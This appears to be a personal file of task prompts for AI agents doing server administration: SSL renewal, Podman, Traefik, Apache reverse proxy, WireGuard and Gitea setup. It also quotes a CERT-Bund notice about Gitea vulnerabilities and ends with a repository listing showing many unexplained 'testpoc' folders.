tlg/prompts

Fork 0

Files

T

rdms 906760fd54 Neue Prompt-Dateien und neue Prompts in bestehenden Dateien

2026-09-28 09:24:55 +02:00

93 KiB

Raw Blame History

Troubleshoot datacenter server https error

Setup

The datacenter server is maintained with Virtualmin. The domain causing the problem is "kipurchat.creature-go.com". The SSL certificate provider is Let's Encrypt.

Problem

When trying to open "kipurchat.creature-go.com" the web browser shows this error (first section and certificates cut out):

net::ERR_CERT_DATE_INVALID
Subject: kipurchat.creature-go.com

Issuer: R13

Expires on: 28.01.2026

Current date: 14.03.2026

Certificate Transparency:

SCT Google 'Argon2026h1' log (Embedded in certificate, Verified)

SCT Let's Encrypt 'Oak2026h1' (Embedded in certificate, Verified)

First own troubleshooting

The Virtualmin webpage SSL Certificate In domain kipurchat.creature-go.com shows that renewal of the certificate failed: " SSL certificate providers like Let's Encrypt can be used to automatically request a valid cert for use by Virtualmin. This page can be used to request a new certificate, which will overwrite any other you currently have configured for this domain. However, SSL certificate providers require that your ownership of the certificate domain be validated by checking that this system hosts the website for the domain. This is done by placing a small temporary file under the website's document directory /home/admincg/domains/kipurchat.creature-go.com/public_html.

Request certificate for

Domains associated with this server kipurchat.creature-go.com

Domain names listed here

Also request wildcard certificate? SSL certificate provider Let's Encrypt Automatically renew certificate

Yes

No Send email on renewal

Yes

Only on failure

No Hostname verification

Attempt to request all hostnames, and fail if any cannot be validated

Skip unresolvable hostnames, but fail if any remaining cannot be validated

Exclude hostnames that cannot be validated from the certifcate Certificate hash type

RSA Time since last renewal 0.00 months Last failed renewal 03/14/2026 11:39 AM Renewal failed due to Web-based validation failed : Saving debug log to /var/log/letsencrypt/letsencrypt.log Renewing an existing certificate for kipurchat.creature-go.com An unexpected error occurred: AttributeError: can't set attribute Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details. DNS-based validation failed : Saving debug log to /var/log/letsencrypt/letsencrypt.log Renewing an existing certificate for kipurchat.creature-go.com An unexpected error occurred: AttributeError: can't set attribute Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details. "

Your tasks

Please help me by running these tasks:

Understand the root cause

Why did the certificate renewal fail?

Repair the SSL certificate setup

Change the SSL certificate setup so that future renewals will work.

Repair SSL connection

If not already done by completing the task before, repair the SSL connection so that "kipurchat.creature-go.com" can be used again.

Podman shell script for AFFiNE service

Motivation

A Podman Pod is needed on a Linux server which provides an AFFiNE service. This Podman Pod needs to be created and started with a shell script which needs to be designed.

The AFFiNE service will be used by humans and by AI agents; it will also be part of a design environment for designing a special MCP server for AFFiNE.

Shell script requirements

Requirements for the shell script:

Must use a container image with a Pinned Tag (for exact consistency) which points to the AFFiNE version 0.26.3. The name likely is something like "ghcr.io/toeverything/affine:0.26.3".
Must provide the AFFiNE web user interface at port 8092.
Must provide the GraphQL API. Background: The AFFiNE web and desktop apps use an internal GraphQL API to communicate with the backend. There is a /graphql endpoint but it is not documented for third-party use.
Must be in folder /home/pln/bin.
Must have the name create_pod_affine.sh

The shell script shall be run by user pln which has permissions to run rootless pods.

Shell script style

The needed shell script must have the same style as other shell scripts on the server.

These files are examples: /home/lwc/bin/create_pod_langflow.sh /home/krt/bin/create_pod_qdrant.sh

Your tasks

Ask first

Before starting to design the shell script, ask between two and five questions to fully understand the situation, your tasks and the objectives.

Identify the container image

Find the container image with Pinned Tag pointing to AFFiNE version 0.26.3.

Write the shell script

Write the shell script.

Test the shell script

Run the shell script and test it.

Redesign if necessary

If the test failed, understand the problem, improve the shell script and go back to Test the shell script.

Repeat this in a loop up to five times.

Your objectives

Your objectives are:

All requirements are fulfilled.
AFFiNE web user interface shows up at 127.0.0.1:8092.
The AFFiNE GraphQL API shows up under 127.0.0.1:8092 at /graphql or another link.

Your behaviour

If it is not possible to achieve your objectives, interrupt and ask me.

Complete all your tasks without asking in between if you can achieve your objectives.

New Traefik route

Motivation

A new service runs on the server and needs to be provided to the internet by installing a new Traefik route.

Traefik service

Traefik runs as a systemd service in a Podman Pod. To end the service and Pod, run /home/trf/bin/remove_pod_systemd_services.sh. To start the Pod and the service, run create_pod_traefik.sh.

Traefik configuration

The Traefik configuration directory is /home/trf/.local/share/traefik/.

The main configuration file is /home/trf/.local/share/traefik/traefik.yml. In the directory /home/trf/.local/share/traefik/dynamic are the .yml files for the individual routings.

New service

The new service for which the new Traefik route is needed:

Name is "affine"
Provided at 127.0.0.1:8092

Your tasks

Your tasks are:

Ask questions if necessary to understand the situation and the tasks below.
Create the necessary file in /home/trf/.local/share/traefik/dynamic.
Update /home/trf/.local/share/traefik/traefik.yml.

Apache reverse proxy forwarding to another host

Setup

The setup comprises two servers which are connected via WireGuard.

Linux server sv005.destengs.com

In a data center
Managed using Virtualmin
Two Virtual Servers:
- kipurchat.creature-go.com
- affine.creature-go.com
Uses Apache reverse proxy
WireGuard IP address 10.8.0.1

Linux server DesTEngSsv006

Local server
Uses Traefik to route ingest traffic to microservices
WireGuard IP address 10.8.0.6
Provides the AFFiNE microservice
- Internal at 127.0.0.1:8092

Previous problems

In the past I often faced problems with the Apache directives.

SSL certificate renewal failed

The Virtual Server kipurchat.creature-go.com was set up using Virtualmin some monthes ago. Then a forward was installed which routed the traffic of kipurchat.creature-go.com from sv005.destengs.com to DesTEngSsv006. When the automated SSL certificate renewal was triggered the renewal failed. The Apache directives file needed to be fixed so that the ACME check could succeed.

Assistance for affine.creature-go.com forwarding

I just created the Virtual Server affine.creature-go.com . https://affine.creature-go.com/ works, has a valid SSL certificate and shows the expected Virtualmin Welcome-Page.

I would like to have your assistance to set up the forwarding for affine.creature-go.com to get a bullet-proof Apache directives file which also will allow the SSL certificate renewal in some weeks.

Your tasks

Interview

Interview me to

Fully understand the situation
Clarify the objective
Obtain all files you need

Update DesTEngSsv006 configuration

Help me to update the DesTEngSsv006 configuration so that affine.creature-go.com forwarding works as expected and SSL certificate renewal will succeed.

The Apache VHost Config: Could you share the current contents of the Apache configuration file for affine.creature-go.com on sv005? (Usually found in /etc/apache2/sites-available/ or managed via Virtualmin's "Edit Directives" section).
Traefik's Entrypoint: On DesTEngSsv006, is Traefik listening for incoming traffic on port 80/443 over the WireGuard interface (10.8.0.6)?
Traefik Configuration: Have you already set up a router and service in Traefik for affine.creature-go.com? If so, could you share that snippet (labels in Docker or your YAML/TOML config)?
SSL Strategy: Is sv005 the only place where you want SSL to be terminated, or are you also trying to use Let's Encrypt on the Traefik side? (Standard practice here is to terminate at sv005 and send plain HTTP or "pseudo-HTTPS" over the tunnel).

Interview answers

Attached is affine.creature-go.com.conf
Traefik is listening on 10.8.0.6:8080
Attached is the main Traefik config file traefik.yml from the DesTEngSsv006 directory /home/trf/.local/share/traefik and the three .yml config files {affine.yml, dashboard.yml, openwebui.yml} from the DesTEngSsv006 directory /home/trf/.local/share/traefik/dynamic/
Terminate SSL at sv005 and send plain HTTP over the tunnel

What about the already existing RewriteCond lines in the Apache config file? I would appreciate if you would update the complete affine.creature-go.com.conf file instead of giving me snippets which I have to insert at the hopefully correct position.

Questions about both sections <VirtualHost ...:80> and <VirtualHost ...:443>:

You did remove <Directory /home/affine/cgi-bin> but you did leave <Directory /home/affine/public_html> in - why didn't you take out both directories because they are not used? Any objections if I would remove the <Directory /home/affine/public_html>?
There is no mail support at affine.creature-go.com so I plan to remove RewriteCond and RewriteRule for Webmail - any objections?

Questions about <VirtualHost ...:443> section:

Why did you relocate the SSL Configuration block?

Wireguard problem

Please help troubleshooting and repairing a Wireguard connection.

Setup

WireGuard IP-Addresses: 10.8.0.1 DesTEngSsv005 10.8.0.6 DesTEngSsv006 10.8.0.3 DesTEngSnb003

DesTEngSsv005

DesTEngSsv005 is a datacenter Linux server with public IP-address 65.108.193.31 . In the Wireguard setup the server is the bridge between an office server and a notebook. I am the system administrator and have root access.

DesTEngSsv006

DesTEngSsv006 is an office Linux server with a dynamic IP-address for Internet access.

DesTEngSnb003

DesTEngSnb003 is my personal Windows notebook with a dynamic IP-address for Internet access.

Symptoms

Today I noticed that from DesTEngSnb003 the Wireguard connection to DesTEngSsv006 is not working anymore: The connection could not be established.

I can ping DesTEngSsv005 from DesTEngSnb003.

The latest handshake with 10.8.0.6 happened 21 hours ago:

root@sv005 ~ # wg show
interface: wg0
  public key: Fww9ON7EvuRom7M9BN97bRpxduIM4V54z/Ij6eunrgo=
  private key: (hidden)
  listening port: 51820

peer: YUOO8IHL218cmeaS1c/VH9STQRGryrlWk0oXvtCbqFY=
  endpoint: 87.152.118.183:49669
  allowed ips: 10.8.0.3/32
  latest handshake: 4 seconds ago
  transfer: 21.22 MiB received, 633.64 MiB sent

peer: XTC0cB4R3hurXh9NTIhPfDlam3ahrau21F/ezJUJSRs=
  endpoint: 89.244.105.89:49166
  allowed ips: 10.8.0.6/32
  latest handshake: 21 hours, 32 minutes, 20 seconds ago
  transfer: 1.13 GiB received, 115.96 MiB sent

The Wireguard connection was working well before, I am the only admin of all three machines and I have not intentionally changed any firewall settings or FORWARD chains.

traceroute 10.8.0.6 does not work on my notebook in a CMD window; likely because the notebook has Windows and not Linux.

On the weekend I'm not in the office; therefore, I cannot check anything on DesTEngSsv006 now. Are there any helpful and promising checks I could do right now with my access limited to DesTEngSsv005 and DesTEngSnb003?

The notebook can reach the hub:

C:\Users\tlg>tracert -d 10.8.0.6

Routenverfolgung zu 10.8.0.6 über maximal 30 Hops

  1    50 ms    49 ms    49 ms  10.8.0.1
  2     *        *        *     Zeitüberschreitung der Anforderung.
  3     *        *        *     Zeitüberschreitung der Anforderung.
  4     *        *        *     Zeitüberschreitung der Anforderung.
  5     *     ^C

I started this:

root@sv005 ~ # ping 89.244.105.89
PING 89.244.105.89 (89.244.105.89) 56(84) bytes of data.

For more than one minute no answer arrived. So likely the office Internet connection is down.

Thank you, I will proceed troubleshooting on Monday in the office.

New Git repository on DesTEngS Git server

Please help with setting up a new Git repository on a Git server and in a Linux folder.

DesTEngS Git server

The DesTEngS Git server is at git.destengs.com and can be accessed via SSH with the git user and port 8085.

Example: The user pln did add a remote connection with git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git.

I have an account and my user name is 'tlg'.

The Git server SW is Gitea.

Gitea push-to-create is intentionally not enabled; therefore, new repositories were created via the Git server web interface up to now.

The new Git repository

The new Git repo will be used for my SW design topics, shall have the name DesTEngSsv006_swd and shall use SHA-256.

I also want to use the Git repo for things which are common on GitHub repositories (like bug tracking and actions); however, the new repo will only be used by me and AI agents like you.

On my Linux server DesTEngSsv006 my user name is 'tlg'. I created a folder /home/tlg/swd which shall become a Git repo which will be synced with the Git server repo; therefore, I want a SSH remote connection which would be created with git remote add origin ssh://git@git.destengs.com:8085/tlg/DesTEngSsv006_swd.git.

Questions

Use your ask user questions tool to completely understand the situation and my requirements.
Do I have to manually set up the repo on the Git server first?
How should I set up bug tracking, actions and similar things?

Local Git repository setup

Please help with setting up a local Git repository in a Linux folder and synchronizing it with a Git repository on a remote Git server.

Remote Git server

The remote Git server is at git.destengs.com and can be accessed via SSH with the git user and port 8085.

Example: The user pln did add a remote connection with git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git.

I have an account and my user name is 'wbg'.

The Git server SW is Gitea.

New Git repository on remote Git server

Gitea push-to-create is intentionally not enabled; therefore, I created the desired new repository via the Git server web interface:

Name 'destengssv006_bin'
Issue Label Default
Object format sha256

I also created a new Token for access to wbg account via Gitea-API:

Token-name destengssv006
Access: All (public, private and restricted)
│ API route │ Access
│ activitypub │ no access
│ issue │ read and write │ misc │ read │ notification │ read │ organization │ no access │ package │ no access │ repository │ read and write │ user │ read
Stored it on this server in /home/wbg/.gitea-token

Local Git repository

The folder /home/wbg/bin shall become a Git repo which must be synced with the remote Git server repository.

SSH keys have been generated and the public used to communicate with the remote Git server via SSH without entering credentials.

Your tasks

Initialize the local Git repository in the /home/wbg/bin with sha256, branch 'main'. Set global user name to 'wbg' and global user email to 'Thomas.Langer@destengs.com'.
Setup the SSH remote connection with git remote add origin ssh://git@git.destengs.com:8085/wbg/destengssv006_bin.git.
Make an initial commit with a reasonable .gitignore to test it.

Mein Git-Server hat eine Sicherheitslücke. Das BSI schrieb mir über meinen Server-Hoster:

> Sehr geehrte Damen und Herren,
>
> eine kritische Schwachstelle in Gitea (CVE-2026-60004) kann von entfernten
> Angreifenden ausgenutzt werden, um beliebigen Programmcode auf dem Gitea-Server
> mit den Privilegien des Gitea-Dienstes auszuführen.
>
> Die Schwachstelle wurde in Version 1.27.1 geschlossen.
>
> Weitere Schwachstellen (CVE-2026-20896, CVE-2026-27771) ermöglichen entfernten
> Angreifenden ohne Authentifizierung auf private Container zuzugreifen oder die
> Identität beliebiger Benutzer anzunehmen.
>
> Weitere Informationen des Herstellers:
>
> CVE-2026-27771
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-8qw8-rq86-9pc2>
>
> CVE-2026-20896
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4>
>
> CVE-2026-60004
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m>
>
> Nachfolgend senden wir Ihnen eine Liste von IP-Adressen in Ihrem Netzbereich,
> unter denen zum angegebenen Zeitpunkt (Zeitstempel UTC) Gitea-Server
> mit einer Version identifiziert wurden, die noch für mindestens eine
> der oben genannten Schwachstelle verwundbar ist.
>
> Wir möchten Sie bitten, den Sachverhalt zu prüfen und zeitnah Maßnahmen
> zur Absicherung der Systeme zu ergreifen bzw. Ihre betroffenen Kunden
> entsprechend zu informieren.
>
> Diese E-Mail ist mittels PGP digital signiert.
> Informationen zu dem verwendeten Schlüssel finden Sie unter:
> <https://reports.cert-bund.de/digitale-signatur>
>
> Bitte beachten Sie:
> Dies ist eine automatisch generierte Nachricht. Antworten an die
> Absenderadresse <reports@reports.cert-bund.de> werden NICHT gelesen
> und automatisch verworfen. Bei Rückfragen wenden Sie sich bitte
> unter Beibehaltung der Ticketnummer [CB-Report#...] in der
> Betreffzeile an <certbund@bsi.bund.de>.
>
> Betroffene Systeme in Ihrem Netzbereich:
>
> Format: ASN | IP | Timestamp (UTC) | Port | Version | Cve
> 24940 | 135.181.78.90 | 2026-09-22 14:33:25 | 80 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004
> 24940 | 135.181.78.90 | 2026-09-22 19:29:25 | 443 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004
>
> Mit freundlichen Grüßen / Kind regards
> Team CERT-Bund
>
> Bundesamt für Sicherheit in der Informationstechnik
> Federal Office for Information Security (BSI)
> CERT-Bund
> Godesberger Allee 87, 53175 Bonn, Germany
>

Mein aktuelles Gitea Container docker-compose.yml ist angehängt.

Bitte finde die letzte stabile Gitea Image Version und aktualisiere sie als statische Version im docker-compose.yml.

Dann schreib mir bitte nochmal kurz die Docker Kommandos auf, wie ich als root den Docker Service stoppe und nach Austausch der .yml Datei wieder starte.

Danke, ich habe den Gitea Container aktualisiert, der Service läuft wieder.

Deinem Tipp folgend wollte ich mir die Ordner unter /opt/appdata/gitea/git/repositories ansehen, dabei habe ich viele "testpoc*" Ordner entdeckt: ´´´ root@sv003 /opt/appdata/gitea/git/repositories # ls -alhrt total 1.2M drwxr-xr-x 5 admindc admindc 4.0K Nov 21 2025 .. drwxr-xr-x 3 admindc admindc 4.0K Dec 1 2025 n8n drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 krtr drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 ncd drwxr-xr-x 4 admindc admindc 4.0K Feb 24 2026 llm drwxr-xr-x 3 admindc admindc 4.0K Mar 1 2026 rdms drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 pln drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 trf drwxr-xr-x 3 admindc admindc 4.0K Apr 1 10:25 wbg drwxr-xr-x 3 admindc admindc 4.0K Jun 1 18:02 mkt drwxr-xr-x 7 admindc admindc 4.0K Jun 12 09:23 tlg drwxr-xr-x 3 admindc admindc 4.0K Jun 23 20:33 lwc drwxr-xr-x 4 admindc admindc 4.0K Jul 17 12:31 wlfb drwxr-xr-x 3 admindc admindc 4.0K Aug 5 20:44 testpoc60874 drwxr-xr-x 3 admindc admindc 4.0K Aug 6 08:49 testpoc29453 drwxr-xr-x 3 admindc admindc 4.0K Aug 7 15:56 testpoc43268 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 10:10 testpoc12153 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 18:15 testpoc24197 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 20:31 testpoc85539 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 22:49 testpoc98694 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:01 testpoc78015 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:23 testpoc25390 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:47 testpoc92837 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 01:19 testpoc97168 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 18:56 testpoc82909 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc81407 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc84892 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc95017 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc87960 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 02:40 testpoc60504 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 10:22 testpoc25643 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc51520 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc56033 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:04 testpoc38666 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc93555 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc46919 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc30819 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc84143 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 23:29 testpoc37242 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 00:12 testpoc56949 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 01:44 testpoc69547 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 09:24 testpoc19409 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc45556 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc72460 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:42 testpoc24413 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:49 testpoc79954 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 16:53 testpoc73498 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:22 testpoc31492 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:30 testpoc84236 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:01 testpoc66853 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:08 testpoc96299 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:38 testpoc37593 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:45 testpoc36987 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 00:16 testpoc31664 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc40668 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc53151 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:14 testpoc69854 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:21 testpoc80023 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 07:40 testpoc77229 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:29 testpoc71873 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:30 testpoc17745 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc53823 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc66756 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:10 testpoc22616 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:11 testpoc27265 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 15:10 testpoc34412 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc85061 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc36190 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc73222 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc54227 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc46556 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc62541 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:42 testpoc61632 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 22:35 testpoc90545 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 06:00 testpoc61911 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 08:34 testpoc95111 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc78438 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc81170 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:57 testpoc86973 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 23:22 testpoc18093 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 06:45 testpoc34060 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 14:11 testpoc19522 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 21:35 testpoc39149 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 04:55 testpoc22320 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 12:17 testpoc34738 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 19:43 testpoc48807 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 03:05 testpoc68152 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 10:28 testpoc62114 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 17:52 testpoc79936 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 01:14 testpoc13243 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 08:37 testpoc69682 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:01 testpoc72852 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:44 testpoc15007 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 20:46 testpoc86124 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 02:52 testpoc11637 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 06:15 testpoc87910 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 11:54 testpoc82836 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 18:00 testpoc41185 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 20:32 testpoc98983 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 22:20 testpoc19606 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 04:26 testpoc23912 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 07:55 testpoc62773 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 14:01 testpoc78861 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 15:30 testpoc95173 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 20:07 testpoc40264 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 02:13 testpoc26934 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 08:19 testpoc73319 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 09:16 testpoc50454 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 15:22 testpoc19498 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 21:28 testpoc69640 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 03:33 testpoc97230 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 05:47 testpoc52394 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:39 testpoc40721 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:41 testpoc51551 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc27510 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc61382 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 15:47 testpoc18831 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 22:40 testpoc99091 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 04:46 testpoc86985 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 10:52 testpoc67871 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 12:55 testpoc76030 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 19:01 testpoc87311 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 23:41 testpoc50982 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 05:47 testpoc62120 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 11:52 testpoc22318 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 17:57 testpoc69014 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 00:02 testpoc37385 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 06:08 testpoc98701 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 12:13 testpoc98443 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 18:18 testpoc61465 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 00:23 testpoc80725 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 06:28 testpoc89134 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 12:33 testpoc76121 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 18:38 testpoc75962 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 00:43 testpoc99832 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 06:48 testpoc55555 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 12:53 testpoc20107 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 18:58 testpoc83027 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:03 testpoc50212 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:23 testpoc33280 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:08 testpoc67515 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:56 testpoc59645 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 09:27 testpoc84414 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 14:01 testpoc22008 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 20:06 testpoc54612 drwxr-xr-x 3 admindc admindc 4.0K Sep 1 08:51 testpoc70617 drwxr-xr-x 3 admindc admindc 4.0K Sep 1 14:29 testpoc89149 drwxr-xr-x 3 admindc admindc 4.0K Sep 2 07:15 testpoc12795 drwxr-xr-x 3 admindc admindc 4.0K Sep 2 09:21 testpoc51398 drwxr-xr-x 3 admindc admindc 4.0K Sep 3 08:25 testpoc87154 drwxr-xr-x 3 admindc admindc 4.0K Sep 4 07:19 testpoc96091 drwxr-xr-x 3 admindc admindc 4.0K Sep 4 20:13 testpoc94765 drwxr-xr-x 3 admindc admindc 4.0K Sep 5 21:44 testpoc26027 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 08:11 testpoc51858 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 14:16 testpoc22861 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 20:21 testpoc90891 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 02:25 testpoc33139 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 08:30 testpoc13803 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 09:37 testpoc84488 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 13:39 testpoc11688 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 17:41 testpoc53646 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 21:42 testpoc68917 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 01:43 testpoc83437 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 05:45 testpoc54590 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 09:47 testpoc88044 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 13:50 testpoc17939 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 17:52 testpoc51371 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 21:54 testpoc40770 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 01:54 testpoc28859 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 05:55 testpoc22366 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 09:56 testpoc76660 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 13:58 testpoc10570 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 17:59 testpoc55506 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 22:00 testpoc87776 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 02:01 testpoc10705 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 06:02 testpoc26965 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 10:03 testpoc53126 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 14:04 testpoc33503 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 18:05 testpoc39441 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 22:06 testpoc56058 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 02:07 testpoc19144 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 06:08 testpoc39192 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 10:09 testpoc17058 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 14:10 testpoc63010 